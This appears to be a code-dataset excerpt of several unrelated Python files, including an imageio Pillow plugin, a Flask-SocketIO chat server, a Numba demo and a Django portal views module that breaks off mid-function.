1: lambda x: x,\n 2: lambda x: np.flip(x, axis=axis),\n 3: lambda x: np.rot90(x, k=2),\n 4: lambda x: np.flip(x, axis=axis - 1),\n 5: lambda x: np.flip(np.rot90(x, k=3), axis=axis),\n 6: lambda x: np.rot90(x, k=1),\n 7: lambda x: np.flip(np.rot90(x, k=1), axis=axis),\n 8: lambda x: np.rot90(x, k=3),\n }\n\n return EXIF_ORIENTATION[orientation]\n\n\nclass PillowPlugin(PluginV3):\n def __init__(self, request: Request) -> None:\n \"\"\"Instantiate a new Pillow Plugin Object\n\n Parameters\n ----------\n request : {Request}\n A request object representing the resource to be operated on.\n\n \"\"\"\n\n super().__init__(request)\n\n self._image: Image = None\n\n if request.mode.io_mode == IOMode.read:\n try:\n with Image.open(request.get_file()):\n # Check if it is generally possible to read the image.\n # This will not read any data and merely try to find a\n # compatible pillow plugin (ref: the pillow docs).\n pass\n except UnidentifiedImageError:\n if request._uri_type == URI_BYTES:\n raise InitializationError(\n \"Pillow can not read the provided bytes.\"\n ) from None\n else:\n raise InitializationError(\n f\"Pillow can not read {request.raw_uri}.\"\n ) from None\n\n self._image = Image.open(self._request.get_file())\n else:\n extension = self.request.extension or self.request.format_hint\n if extension is None:\n warnings.warn(\n \"Can't determine file format to write as. You _must_\"\n \" set `format` during write or the call will fail. Use \"\n \"`extension` to supress this warning. \",\n UserWarning,\n )\n return\n\n tirage = [Image.preinit, Image.init]\n for format_loader in tirage:\n format_loader()\n if extension in Image.registered_extensions().keys():\n return\n\n raise InitializationError(\n f\"Pillow can not write `{extension}` files.\"\n ) from None\n\n def close(self) -> None:\n if self._image:\n self._image.close()\n\n self._request.finish()\n\n def read(\n self, *, index=None, mode=None, rotate=False, apply_gamma=False, as_gray=None\n ) -> np.ndarray:\n \"\"\"\n Parses the given URI and creates a ndarray from it.\n\n Parameters\n ----------\n index : int\n If the ImageResource contains multiple ndimages, and index is an\n integer, select the index-th ndimage from among them and return it.\n If index is an ellipsis (...), read all ndimages in the file and\n stack them along a new batch dimension and return them. If index is\n None, this plugin reads the first image of the file (index=0) unless\n the image is a GIF or APNG, in which case all images are read\n (index=...).\n mode : str\n Convert the image to the given mode before returning it. If None,\n the mode will be left unchanged. Possible modes can be found at:\n https://pillow.readthedocs.io/en/stable/handbook/concepts.html#modes\n rotate : bool\n If set to ``True`` and the image contains an EXIF orientation tag,\n apply the orientation before returning the ndimage.\n apply_gamma : bool\n If ``True`` and the image contains metadata about gamma, apply gamma\n correction to the image.\n as_gray : bool\n Deprecated. Exists to raise a constructive error message.\n\n Returns\n -------\n ndimage : ndarray\n A numpy array containing the loaded image data\n\n Notes\n -----\n If you open a GIF - or any other format using color pallets - you may\n wish to manually set the `mode` parameter. Otherwise, the numbers in\n the returned image will refer to the entries in the color pallet, which\n is discarded during conversion to ndarray.\n\n \"\"\"\n\n if as_gray is not None:\n raise TypeError(\n \"The keyword `as_gray` is no longer supported.\"\n \"Use `mode='L'` instead.\"\n )\n\n if index is None:\n if self._image.format == \"GIF\":\n index = Ellipsis\n elif self._image.custom_mimetype == \"image/apng\":\n index = Ellipsis\n else:\n index = 0\n\n if isinstance(index, int):\n # will raise IO error if index >= number of frames in image\n self._image.seek(index)\n image = self._apply_transforms(self._image, mode, rotate, apply_gamma)\n return image\n else:\n iterator = self.iter(mode=mode, rotate=rotate, apply_gamma=apply_gamma)\n image = np.stack([im for im in iterator], axis=0)\n return image\n\n def iter(\n self, *, mode: str = None, rotate: bool = False, apply_gamma: bool = False\n ) -> Iterator[np.ndarray]:\n \"\"\"\n Iterate over all ndimages/frames in the URI\n\n Parameters\n ----------\n mode : {str, None}\n Convert the image to the given mode before returning it. If None,\n the mode will be left unchanged. Possible modes can be found at:\n https://pillow.readthedocs.io/en/stable/handbook/concepts.html#modes\n rotate : {bool}\n If set to ``True`` and the image contains an EXIF orientation tag,\n apply the orientation before returning the ndimage.\n apply_gamma : {bool}\n If ``True`` and the image contains metadata about gamma, apply gamma\n correction to the image.\n \"\"\"\n\n for im in ImageSequence.Iterator(self._image):\n yield self._apply_transforms(im, mode, rotate, apply_gamma)\n\n def _apply_transforms(self, image, mode, rotate, apply_gamma) -> np.ndarray:\n if mode is not None:\n image = image.convert(mode)\n elif image.format == \"GIF\":\n # adjust for pillow9 changes\n # see: https://github.com/python-pillow/Pillow/issues/5929\n image = image.convert(image.palette.mode)\n image = np.asarray(image)\n\n meta = self.metadata(index=self._image.tell(), exclude_applied=False)\n if rotate and \"Orientation\" in meta:\n transformation = _exif_orientation_transform(\n meta[\"Orientation\"], self._image.mode\n )\n image = transformation(image)\n\n if apply_gamma and \"gamma\" in meta:\n gamma = float(meta[\"gamma\"])\n scale = float(65536 if image.dtype == np.uint16 else 255)\n gain = 1.0\n image = ((image / scale) ** gamma) * scale * gain + 0.4999\n image = np.round(image).astype(np.uint8)\n\n return image\n\n def write(\n self,\n ndimage: Union[ArrayLike, List[ArrayLike]],\n *,\n mode: str = None,\n format: str = None,\n is_batch: bool = None,\n **kwargs,\n ) -> Optional[bytes]:\n \"\"\"\n Write an ndimage to the URI specified in path.\n\n If the URI points to a file on the current host and the file does not\n yet exist it will be created. If the file exists already, it will be\n appended if possible; otherwise, it will be replaced.\n\n If necessary, the image is broken down along the leading dimension to\n fit into individual frames of the chosen format. If the format doesn't\n support multiple frames, and IOError is raised.\n\n Parameters\n ----------\n image : ndarray or list\n The ndimage to write. If a list is given each element is expected to\n be an ndimage.\n mode : str\n Specify the image's color format. If None (default), the mode is\n inferred from the array's shape and dtype. Possible modes can be\n found at:\n https://pillow.readthedocs.io/en/stable/handbook/concepts.html#modes\n format : str\n Optional format override. If omitted, the format to use is\n determined from the filename extension. If a file object was used\n instead of a filename, this parameter must always be used.\n is_batch : bool\n Explicitly tell the writer that ``image`` is a batch of images\n (True) or not (False). If None, the writer will guess this from the\n provided ``mode`` or ``image.shape``. While the latter often works,\n it may cause problems for small images due to aliasing of spatial\n and color-channel axes.\n kwargs : ...\n Extra arguments to pass to pillow. If a writer doesn't recognise an\n option, it is silently ignored. The available options are described\n in pillow's `image format documentation\n <https://pillow.readthedocs.io/en/stable/handbook/image-file-formats.html>`_\n for each writer.\n\n Notes\n -----\n When writing batches of very narrow (2-4 pixels wide) gray images set\n the ``mode`` explicitly to avoid the batch being identified as a colored\n image.\n\n \"\"\"\n if \"fps\" in kwargs:\n raise TypeError(\n \"The keyword `fps` is no longer supported. Use `duration`\"\n \"(in ms) instead, e.g. `fps=50` == `duration=20` (1000 * 1/50).\"\n )\n\n extension = self.request.extension or self.request.format_hint\n\n save_args = {\n \"format\": format or Image.registered_extensions()[extension],\n }\n\n if isinstance(ndimage, list):\n ndimage = np.stack(ndimage, axis=0)\n is_batch = True\n else:\n ndimage = np.asarray(ndimage)\n\n # check if ndimage is a batch of frames/pages (e.g. for writing GIF)\n # if mode is given, use it; otherwise fall back to image.ndim only\n if is_batch is not None:\n pass\n elif mode is not None:\n is_batch = (\n ndimage.ndim > 3 if Image.getmodebands(mode) > 1 else ndimage.ndim > 2\n )\n elif ndimage.ndim == 2:\n is_batch = False\n elif ndimage.ndim == 3 and ndimage.shape[-1] == 1:\n raise ValueError(\"Can't write images with one color channel.\")\n elif ndimage.ndim == 3 and ndimage.shape[-1] in [2, 3, 4]:\n # Note: this makes a channel-last assumption\n is_batch = False\n else:\n is_batch = True\n\n if not is_batch:\n ndimage = ndimage[None, ...]\n\n pil_frames = list()\n for frame in ndimage:\n pil_frame = Image.fromarray(frame, mode=mode)\n if \"bits\" in kwargs:\n pil_frame = pil_frame.quantize(colors=2 ** kwargs[\"bits\"])\n pil_frames.append(pil_frame)\n primary_image, other_images = pil_frames[0], pil_frames[1:]\n\n if is_batch:\n save_args[\"save_all\"] = True\n save_args[\"append_images\"] = other_images\n\n save_args.update(kwargs)\n primary_image.save(self._request.get_file(), **save_args)\n\n if self._request._uri_type == URI_BYTES:\n file = cast(BytesIO, self._request.get_file())\n return file.getvalue()\n\n return None\n\n def get_meta(self, *, index=0) -> Dict[str, Any]:\n return self.metadata(index=index, exclude_applied=False)\n\n def metadata(\n self, index: int = None, exclude_applied: bool = True\n ) -> Dict[str, Any]:\n \"\"\"Read ndimage metadata.\n\n Parameters\n ----------\n index : {integer, None}\n If the ImageResource contains multiple ndimages, and index is an\n integer, select the index-th ndimage from among them and return its\n metadata. If index is an ellipsis (...), read and return global\n metadata. If index is None, this plugin reads metadata from the\n first image of the file (index=0) unless the image is a GIF or APNG,\n in which case global metadata is read (index=...).\n\n Returns\n -------\n metadata : dict\n A dictionary of format-specific metadata.\n\n \"\"\"\n\n if index is None:\n if self._image.format == \"GIF\":\n index = Ellipsis\n elif self._image.custom_mimetype == \"image/apng\":\n index = Ellipsis\n else:\n index = 0\n\n if isinstance(index, int) and self._image.tell() != index:\n self._image.seek(index)\n\n metadata = self._image.info.copy()\n metadata[\"mode\"] = self._image.mode\n metadata[\"shape\"] = self._image.size\n\n if self._image.mode == \"P\":\n metadata[\"palette\"] = self._image.palette\n\n if self._image.getexif():\n exif_data = {\n ExifTags.TAGS.get(key, \"unknown\"): value\n for key, value in dict(self._image.getexif()).items()\n }\n exif_data.pop(\"unknown\", None)\n metadata.update(exif_data)\n\n if exclude_applied:\n metadata.pop(\"Orientation\", None)\n\n return metadata\n\n def properties(self, index: int = None) -> ImageProperties:\n \"\"\"Standardized ndimage metadata\n Parameters\n ----------\n index : int\n If the ImageResource contains multiple ndimages, and index is an\n integer, select the index-th ndimage from among them and return its\n properties. If index is an ellipsis (...), read and return the\n properties of all ndimages in the file stacked along a new batch\n dimension. If index is None, this plugin reads and returns the\n properties of the first image (index=0) unless the image is a GIF or\n APNG, in which case it reads and returns the properties all images\n (index=...).\n\n Returns\n -------\n properties : ImageProperties\n A dataclass filled with standardized image metadata.\n\n Notes\n -----\n This does not decode pixel data and is 394fast for large images.\n\n \"\"\"\n\n if index is None:\n if self._image.format == \"GIF\":\n index = Ellipsis\n elif self._image.custom_mimetype == \"image/apng\":\n index = Ellipsis\n else:\n index = 0\n\n if index is Ellipsis:\n self._image.seek(0)\n else:\n self._image.seek(index)\n\n if self._image.format == \"GIF\":\n # GIF mode is determined by pallette\n mode = self._image.palette.mode\n else:\n mode = self._image.mode\n\n width: int = self._image.width\n height: int = self._image.height\n shape: Tuple[int, ...] = (height, width)\n\n n_frames: int = self._image.n_frames\n if index is ...:\n shape = (n_frames, *shape)\n\n dummy = np.asarray(Image.new(mode, (1, 1)))\n pil_shape: Tuple[int, ...] = dummy.shape\n if len(pil_shape) > 2:\n shape = (*shape, *pil_shape[2:])\n\n return ImageProperties(\n shape=shape,\n dtype=dummy.dtype,\n is_batch=True if index is Ellipsis else False,\n )\n","sub_path":"imageio/plugins/pillow.py","file_name":"pillow.py","file_ext":"py","file_size_in_byte":17088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"651563600","text":"import fresh_tomatoes\nimport media\n\n\n# This section is used to initialize the values for each movie\n\ntoy_story = media.Movie(\"Toy Story\",\n \"A story of a body and his toys that come to life\",\n \"http://upload.wikimedia.org\"\n \"/wikipedia/en/1/13/Toy_Story.jpg\",\n \"https://www.youtube.com/watch?v=Ny_hRfvsmU8\")\n\n\navatar = media.Movie(\"Avatar\",\n \"A marine on an alien planet\",\n \"http://upload.wikimedia.org/wikipedia/id/b/b0\"\n \"/Avatar-Teaser-Poster.jpg\",\n \"http://www.youtube.com/watch?v=5PSNL1qE6VY\")\n\n\nschool_of_rock = media.Movie(\"School of Rock\",\n \"Dewey Finn poses as a substitute teacher\",\n \"http://upload.wikimedia.org/wikipedia/en/1/11\"\n \"/School_of_Rock_Poster.jpg\",\n \"https://www.youtube.com/watch?v=3PsUJFEBC74\")\n\n\nhunger_games = media.Movie(\"Hunger Games\",\n \"A really real reality show\",\n \"https://upload.wikimedia.org/wikipedia/en/4/42\"\n \"/HungerGamesPoster.jpg\",\n \"https://www.youtube.com/watch?v=PbA63a7H0bo\")\n\n\nmad_max_fury_road = media.Movie(\"Mad Max Fury Road\",\n \"IStory of Max and Furiosa\",\n \"https://encrypted-tbn3.gstatic.com\"\n \"/images?q=tbn:ANd9GcSY9szIPbtk1-hwxdEVRJIHT_\"\n \"pgYGNnFkFSWsCjlKFGP3Pu77Oo\",\n \"https://www.youtube.com/watch?v=YWNWi-ZWL3c\")\n\n\nratatouille = media.Movie(\"Ratatouille\",\n \"A rat is a chef in Paris\",\n \"https://upload.wikimedia.org/wikipedia/en/5/50\"\n \"/RatatouillePoster.jpg\",\n \"https://www.youtube.com/watch?v=c3sBBRxDAqk\")\n\n# Use the \"open_movies_page\" function to\n# create and open an html webpage or website that shows those movies\n\nmovies = [toy_story, avatar, school_of_rock,\n hunger_games, mad_max_fury_road, ratatouille]\nfresh_tomatoes.open_movies_page(movies)\n","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"571016288","text":"import os\nimport requests\nimport datetime\n\nfrom flask import Flask, jsonify, render_template, request,json\nfrom flask_socketio import SocketIO, emit\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = os.getenv(\"SECRET_KEY\")\nsocketio = SocketIO(app)\n\nclass Message:\n def __init__(self, displayname, message, channel):\n self.displayName = displayname\n self.message = message\n self.channel = channel\n self.msgDateTime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n def asdict(self):\n return {'displayName': self.displayName, 'message': self.message, 'channel': self.channel, 'msgDateTime':self.msgDateTime}\n\ntestDisplayName = \"test\"\n# testUser = User(testDisplayName)\nDisplayNames = {testDisplayName:[]}\n# DisplayNames = []\n\n\ntestChannel = \"test-channel\"\nChannels = {testChannel:[]}\n# Channels = [\"fun\",\"work\",\"school\"]\n# Channels = []\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@socketio.on('register user displayname')\ndef registerUserDisplayName(data):\n displayname = data[\"displayname\"]\n app.logger.debug(f'REGISTER USER DISPLAYNAME in register user displayname: {displayname}')\n # no error if already registered but don't add twice\n if displayname not in DisplayNames:\n app.logger.info(f'register user: {displayname}')\n # DisplayNames.append(data[\"displayname\"])\n # key is name and value is array of messages\n DisplayNames[displayname] = []\n \n\n@socketio.on('fetch channels')\ndef fetchChannels():\n channelNames = list(Channels.keys())\n app.logger.debug(f\"FETCH CHANNELS {channelNames}\")\n socketio.emit('channel list',channelNames)\n\n@socketio.on('create channel')\ndef createChannel(data):\n # no error if already there just emit\n channel = data['newchannel']\n app.logger.debug(f'CREATE CHANNEL: {channel}')\n app.logger.debug(f'existing Channels: {Channels.keys()}')\n if channel not in Channels:\n # Channels.append(data[\"newchannel\"])\n Channels[channel] = []\n channelNames = list(Channels.keys())\n app.logger.debug(f'emiting channelNames: {channelNames}')\n socketio.emit('channel list', channelNames)\n\n@socketio.on(\"display name create\")\ndef createDisplayName(data):\n app.logger.debug(\"DISPLAY NAME CREATE in createDisplayName\")\n #check if name exists already\n if data[\"displayname\"] in DisplayNames:\n message = f'Display name {data[\"displayname\"]} already in use'\n resp = {\"status\":\"fail\",\"message\":message}\n else:\n # DisplayNames.append(data[\"displayname\"])\n DisplayNames[data[\"displayname\"]] = []\n resp = {\"status\":\"success\",\"message\":data[\"displayname\"]}\n debugDisplayNames = list(DisplayNames.keys())\n app.logger.debug(f'display name create end: {debugDisplayNames}')\n socketio.emit('create display name results', resp)\n\n######messages\n\n@socketio.on(\"message create\")\ndef createMessage(data):\n newmessage = data[\"newmessage\"]\n displayname = newmessage[\"displayname\"]\n message = newmessage[\"messagetext\"]\n selectedchannel = newmessage[\"selectedchannel\"]\n app.logger.debug(f'MESSAGE GREATE creating message: {displayname}, {message}, {selectedchannel}')\n ###### calling for new message not working\n newMessage = Message(displayname, message, selectedchannel)\n DisplayNames[displayname].append(newMessage)\n Channels[selectedchannel].append(newMessage)\n # return the the new message\n messages = []\n # messages.append(newMessage.asdict())\n # return all messages\n for message in Channels[selectedchannel]:\n messages.append(message.asdict())\n app.logger.debug(f'MESSAGE CREATE message returning: {messages}')\n socketio.emit(\"messages to render\",messages)\n\n@socketio.on(\"fetch messages per channel\")\ndef fetchMessagesPerChannel(data):\n app.logger.debug(f'FETCH MESSAGES PER CHANNEL fetch per channel: {data}')\n app.logger.debug(f'FETCH MESSAGES PER CHANNEL current Channels: {Channels.keys()}')\n #return a list of message for a channel named in data\n\n ########need to test if data is a key in Channels\n if (data in Channels.keys()): \n app.logger.debug(\"found messages in channel\")\n # convert messages in channel to dict\n messages = []\n for message in Channels[data]:\n messages.append(message.asdict())\n app.logger.debug(f'messages sending {messages}')\n socketio.emit(\"messages to render\",messages)\n else:\n app.logger.debug(\"didn't find messages in channel\")\n #no messages for this channel\n errorObj = {status:\"Error fetching messages per channel\",channel:data}\n socketio.emit(\"error\", errorObj)\n\n@socketio.on(\"clear server cache\")\ndef clearServerCache():\n DisplayNames = {}\n Channels = {}\n app.logger.debug(f\"cache cleared {DisplayNames} {Channels}\" )\n socketio.emit(\"remove all messages\")\n\n\n\n@socketio.on(\"delete messages per displayname\")\ndef deleteMessagesPerDisplayName(data):\n app.logger.debug(f'DELETING MESSAGES PER DISAPLYNAME {data}')\n\n displayName = data[\"displayname\"]\n selectedChannel = data[\"selectedchannel\"]\n app.logger.debug(f'DELETING MESSAGES PER DISAPLYNAME deleting message for {displayName}')\n #remove messages from user list\n DisplayNames[displayName] = []\n \n # remove object from Channels\n for channel in Channels.keys():\n messages = Channels[channel]\n app.logger.debug(f'delete messages in Channels {messages}')\n for message in messages:\n if message.displayName == displayName:\n app.logger.debug(f'REMVING MESSAGE {message}')\n messages.remove(message)\n #only return data if there is a selected channel and then return the messages\n #associated with that channel\n if (len(selectedChannel)) > 0:\n app.logger.debug(f\"SENDING BACK messages in channel {selectedChannel}\")\n fetchMessagesPerChannel(selectedChannel)\n else: \n nomessages = []\n app.logger.debug(f\"SENDING BACK EMPTY messages because no channel selected\")\n socketio.emit(\"messages to render\",nomessages)\n #socketio.emit(\"remove messages for displayname\",displayName)\n\n\n\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"358997780","text":"# -*- coding:utf-8 -*- \n#numba_test.py\nfrom numba import jit\nfrom numpy import arange\n\n# jit装饰器告诉Numba编译函数\n# 当函数被调用时，Numba会把参数类型引入\n@jit\ndef sum2d(arr):\n M, N = arr.shape\n result = 0.0\n for i in range(M):\n for j in range(N):\n result += arr[i, j]\n return result\n\na = arange(9).reshape(3, 3)\nprint(sum2d(a))","sub_path":"demos/L3/numba_test.py","file_name":"numba_test.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"186700306","text":"'''\n--------------Outline----------------------\n\n(*)version 1\n\nCheck or Add\n\nif check ask year and month\nprint total\n\noption (0-5 to print specific)\noption (Q to quit() and A to add function)\nPrint option\n -Label_0(Incoming) total\n -Label_1(Necessaries) total\n -Label_2(Groceries) total\n -Label_3(Entertainment)total\n -Label_4(Miscellaneous)total\n -Add\n -Quit\n\n\nOpen the file read and print total\nIf not avalible, Creat a new one.\nInput Data If month change creat new month data\nSort by YYYY-MM\n\nAsk user print all lines?\nAsk user add new lines?\nSave and Close\n\n@ import DATE\n\n\n(*)version 2\n-GUI\n-percentage pie(visual info)\n@ import tkinter\n\n\n'''\n\n\n\nadd_total.txt = input('Input the file name which you want to edit.\\n--> ')\ntxt = input('Insert the sentence:\\n')\n\ntry:\n file = open(add_total.txt,'r+')\n\nexcept Exception as ERROR_info:\n print('The file calls {} is not exist.'.format(add_total.txt))\n print('would you like creat a new file?')\n\n while True:\n creat_require = input('(Y/N)')\n if creat_require in ['y','Y','no','Yes'] :\n file = open(add_total.txt,'w')\n file.write(txt)\n break\n elif creat_require in ['n','N','no','No']:\n break\n\n else:\n continue\n\nelse:\n\n file.write(txt)\n\nfile.close()\n\n\n","sub_path":"test_files/add_total.py","file_name":"add_total.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"176375995","text":"#coding=utf-8\nimport datetime\nfrom django.conf import settings\nfrom django.shortcuts import render\nfrom django.http.response import Http404\nfrom portal.models import *\nfrom portal.utils import convert_to_data_value, convert_to_view_value, remove_html_tag\n\n\ndef home(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n #load slide data\n slide_list = Slide.objects.get_enabled_slide()\n #load top data\n top_data_count = 10\n #load solution top data\n solution_list = list()\n solutions = Solution.objects.get_enabled_solution()\n counter = 0\n while counter < len(solutions):\n if counter == top_data_count:\n break\n solution_item = dict()\n solution_data = solutions[counter]\n solution_item['title'] = solution_data.title\n solution_item['sid'] = convert_to_view_value(solution_data.id)\n solution_list.append(solution_item)\n counter += 1\n\n #load product top data\n product_list = list()\n products = Product.objects.get_enabled_product()\n counter = 0\n while counter < len(products):\n if counter == top_data_count:\n break\n product_item = dict()\n product_data = products[counter]\n product_item['title'] = product_data.title\n product_item['pid'] = convert_to_view_value(product_data.id)\n product_list.append(product_item)\n counter += 1\n\n #load service top data\n service_list = list()\n services = Service.objects.get_enabled_service()\n counter = 0\n while counter < len(services):\n if counter == top_data_count:\n break\n service_item = dict()\n service_data = services[counter]\n service_item['title'] = service_data.title\n service_item['sid'] = convert_to_view_value(service_data.id)\n service_list.append(service_item)\n counter += 1\n\n #load partner top data\n partner_data_count = 8\n partner_list = list()\n partners = Partner.objects.get_partners()\n counter = 0\n while counter < len(partners):\n partner_item = dict()\n partner_data = partners[counter]\n partner_item['title'] = partner_data.title\n partner_item['website'] = partner_data.website\n partner_item['logo'] = partner_data.logo\n partner_list.append(partner_item)\n if counter == partner_data_count:\n break\n counter += 1\n\n #load customer top data\n customer_data_count = 8\n customer_list = list()\n customers = Customer.objects.get_all_customer()\n counter = 0\n while counter < len(customers):\n customer_item = dict()\n customer_data = customers[counter]\n customer_item['title'] = customer_data.title\n customer_item['logo'] = customer_data.logo\n customer_list.append(customer_item)\n if counter == customer_data_count:\n break\n counter += 1\n\n return render(\n request,\n 'home/home.html',\n generate_context(\n current='home',\n slides=slide_list,\n partner_list=partner_list,\n customer_list=customer_list,\n solution_list=solution_list,\n product_list=product_list,\n service_list=service_list,\n )\n )\n\n\ndef solution(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n solution_list = Solution.objects.get_enabled_solution()\n solutions = []\n for solution_item in solution_list:\n solution_id = convert_to_view_value(solution_item.id)\n solution_title = solution_item.title\n solution_subtitle = solution_item.subtitle\n solution_data = {\n 'solution_id': solution_id,\n 'solution_title': solution_title,\n 'solution_subtitle': solution_subtitle,\n }\n solutions.append(solution_data)\n\n return render(\n request,\n 'solution/solution.html',\n generate_context(\n current='solution',\n solutions=solutions\n )\n )\n\n\ndef solution_detail(request, solution_id):\n \"\"\"\n :param request:\n :param solution_id:\n :return:\n \"\"\"\n solution_id = convert_to_data_value(solution_id)\n solution_item = Solution.objects.get_solution_by_id(solution_id)\n if not solution_item:\n raise Http404\n #获取关键词\n solution_keywords = solution_item.keyword\n #获取内容\n solution_content_list = SolutionContent.objects.get_content_by_solution_id(solution_id)\n #获取相关信息\n #获取相关产品\n solution_product_list = SolutionProduct.objects.get_product_by_solution_id(solution_id)\n product_list = list()\n customer_list = list()\n partner_list = list()\n for solution_product_item in solution_product_list:\n product_id = solution_product_item.product.id\n product_item = Product.objects.get_product_by_id(product_id)\n if not product_item:\n solution_product_item.delete()\n if product_item.enable == 0:\n continue\n #获取相关用户\n product_customer_list = ProductCustomer.objects.get_customer_by_product_id(product_id)\n for product_customer_item in product_customer_list:\n customer_item = product_customer_item.customer\n #检查重复项\n if customer_item not in customer_list:\n customer_list.append(customer_item)\n product_item.id = convert_to_view_value(product_item.id)\n product_list.append(product_item)\n #获取相关合作伙伴\n partner_item = product_item.partner\n if partner_item not in partner_list and partner_item:\n partner_list.append(partner_item)\n\n return render(\n request,\n 'solution/solution_detail.html',\n generate_context(\n current='solution',\n solution_item=solution_item,\n solution_content_list=solution_content_list,\n product_list=product_list,\n product_count=len(product_list),\n customer_list=customer_list,\n customer_count=len(customer_list),\n partner_list=partner_list,\n partner_count=len(partner_list),\n keywords=solution_keywords,\n )\n )\n\n\ndef product(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n product_list = Product.objects.get_enabled_product()\n products = list()\n for product_item in product_list:\n product_id = convert_to_view_value(product_item.id)\n product_title = product_item.title\n product_subtitle = product_item.subtitle\n product_partner = product_item.partner\n product_data = {\n 'product_id': product_id,\n 'product_title': product_title,\n 'product_subtitle': product_subtitle,\n 'product_partner': product_partner,\n }\n products.append(product_data)\n return render(\n request,\n 'product/product.html',\n generate_context(\n current='product',\n products=products,\n )\n )\n\n\ndef product_detail(request, product_id):\n \"\"\"\n :param request:\n :param product_id:\n :return:\n \"\"\"\n product_id = convert_to_data_value(product_id)\n product_item = Product.objects.get_product_by_id(product_id)\n if not product_item:\n raise Http404\n keywords = product_item.keyword\n #获取内容\n product_content_list = ProductContent.objects.get_content_by_product_id(product_id)\n #获取相关方案\n solution_product_list = SolutionProduct.objects.get_solution_by_product_id(product_id)\n solution_list = []\n for solution_product_item in solution_product_list:\n solution_id = solution_product_item.solution.id\n solution_item = Solution.objects.get_solution_by_id(solution_id)\n if not solution_item:\n solution_product_item.delete()\n if solution_item.enable == 0:\n continue\n solution_item.id = convert_to_view_value(solution_item.id)\n solution_list.append(solution_item)\n #获取相关客户信息\n product_customer_list = ProductCustomer.objects.get_customer_by_product_id(product_id)\n customer_list = []\n for product_customer_item in product_customer_list:\n customer = product_customer_item.customer\n customer_list.append(customer)\n\n return render(\n request,\n 'product/product_detail.html',\n generate_context(\n current='product',\n product_item=product_item,\n keywords=keywords,\n solution_list=solution_list,\n solution_count=len(solution_list),\n product_content_list=product_content_list,\n customer_list=customer_list,\n customer_count=len(customer_list)\n )\n )\n\n\ndef service(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n #load enabled service\n service_list = Service.objects.get_enabled_service()\n services = list()\n for service_item in service_list:\n service_id = convert_to_view_value(service_item.id)\n service_title = service_item.title\n service_sketch = service_item.sketch\n service_data = {\n 'service_id': service_id,\n 'service_title': service_title,\n 'service_sketch': service_sketch,\n }\n services.append(service_data)\n return render(\n request,\n 'service/service.html',\n generate_context(\n current='service',\n services=services\n )\n )\n\n\ndef service_detail(request, service_id):\n \"\"\"\n :param request:\n :param service_id:\n :return:\n \"\"\"\n service_id = convert_to_data_value(service_id)\n service_item = Service.objects.get_service_by_id(service_id)\n if not service_item:\n raise Http404\n\n keywords = service_item.keyword\n\n return render(\n request,\n 'service/service_detail.html',\n generate_context(\n current='service',\n service_item=service_item,\n keywords=keywords\n )\n )\n\n\ndef download(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n return render(\n request,\n 'download/download.html',\n generate_context(\n current='download'\n )\n )\n\n\ndef partner(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n #load data\n partner_list = Partner.objects.get_partners()\n customer_list = Customer.objects.get_all_customer()\n return render(\n request,\n 'partner/partner.html',\n generate_context(\n current='partner',\n partner_list=partner_list,\n customer_list=customer_list,\n )\n )\n\n\ndef career(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n context = generate_context(current='career')\n return render(request, 'career/career.html', context)\n\n\ndef company(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n return render(\n request,\n 'company/company.html',\n generate_context(\n current='company'\n )\n )\n\n\ndef privacy(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n return render(\n request,\n 'company/privacy.html',\n generate_context(\n current='company'\n )\n )\n\n\ndef term(request):\n \"\"\"\n :param request:\n :return:\n \"\"\"\n return render(\n request,\n 'company/term.html',\n generate_context(\n current='company'\n )\n )\n\n\ndef search(request):\n query = request.GET.get('s', '')\n #对GET到的字符串数据进行转码\n query = unicode(query).encode(encoding='utf-8')\n #移除查询关键词前后的空格\n query = query.strip()\n #将关键词按照空格分割成list\n query_list = query.split(' ')\n search_result = []\n #判断用户行为是否允许进行查询\n valid_rate = False\n valid_keyword = False\n #搜索频率是否正常\n if 'search' not in request.COOKIES:\n valid_rate = True\n #搜索词是否为空\n if not query == '':\n valid_keyword = True\n #开始进行查询\n if valid_rate and valid_keyword:\n #查询解决方案\n solution_result = Solution.objects.get_search(query_list)\n for solution_item in solution_result:\n solution_id = convert_to_view_value(solution_item.id)\n solution_title = solution_item.title\n solution_sketch = remove_html_tag(solution_item.sketch)\n if len(solution_sketch) > 100:\n solution_sketch = solution_sketch[0:100] + '...'\n result_item = {\n 'type': 'solution',\n 'id': solution_id,\n 'title': solution_title,\n 'sketch': solution_sketch,\n }\n search_result.append(result_item)\n\n #查询解决方案内容\n solution_content_result = SolutionContent.objects.get_search(query_list)\n #检查所属解决方案在查询结果是否已存在\n for solution_content_item in solution_content_result:\n solution_id = solution_content_item.solution.id\n exist = False\n for search_result_item in search_result:\n if search_result_item['type'] == 'solution' \\\n and search_result_item['id'] == convert_to_view_value(solution_id):\n exist = True\n break\n if not exist:\n solution_item = Solution.objects.get_solution_by_id(solution_id)\n if not solution_item:\n continue\n solution_id = convert_to_view_value(solution_id)\n solution_title = solution_item.title\n solution_sketch = solution_item.sketch\n solution_sketch = remove_html_tag(solution_sketch)\n if len(solution_sketch) > 100:\n solution_sketch = solution_sketch[0:100] + '...'\n result_item = {\n 'type': 'solution',\n 'id': solution_id,\n 'title': solution_title,\n 